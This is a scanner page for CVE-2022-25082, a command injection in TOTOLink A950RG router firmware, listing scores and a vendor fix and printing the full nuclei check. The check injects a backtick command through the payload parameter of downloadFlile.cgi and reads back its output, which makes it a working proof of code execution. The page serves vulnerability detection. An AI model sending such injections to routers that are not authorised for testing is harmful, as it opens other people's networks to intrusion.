TOTOLink - Unauthenticated Command Injection

criticalseverity

9.8CVSS score

13.7%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

TOTOLink A950RG V5.9c.4050_B20190424 and V4.1.2cu.5204_B20210112 were discovered to contain a command injection vulnerability in the Main function. This vulnerability allows attackers to execute arbitrary commands via the QUERY_STRING parameter.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.

Fix

Apply the latest firmware update provided by the vendor to fix the command injection vulnerability.

How to confirm it

Send: GET /cgi-bin/downloadFlile.cgi?payload={{cmd}} ; GET /{{randstr}}
Positive when: contains in body_2 ".sh" and ".cgi" AND contains in header_2 "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2022-25082 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-25082

info:
  name: TOTOLink - Unauthenticated Command Injection
  author: gy741
  severity: critical
  description: |
    TOTOLink A950RG V5.9c.4050_B20190424 and V4.1.2cu.5204_B20210112 were discovered to contain a command injection vulnerability in the Main function. This vulnerability allows attackers to execute arbitrary commands via the QUERY_STRING parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the command injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2022-25082
    - https://github.com/EPhaha/IOT_vuln/blob/main/TOTOLink/A950RG/README.md
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25082
    cwe-id: CWE-78
    epss-score: 0.13699
    epss-percentile: 0.96525
    cpe: cpe:2.3:o:totolink:a950rg_firmware:4.1.2cu.5204_b20210112:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: totolink
    product: a950rg_firmware
  tags: cve,cve2022,totolink,router,unauth,rce,iot,intrusive,vkev,vuln
variables:
  cmd: "`ls>../{{randstr}}`"

http:
  - raw:
      - |
        GET /cgi-bin/downloadFlile.cgi?payload={{cmd}} HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - .sh
          - .cgi
        condition: and

      - type: word
        part: header_2
        words:
          - application/octet-stream

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from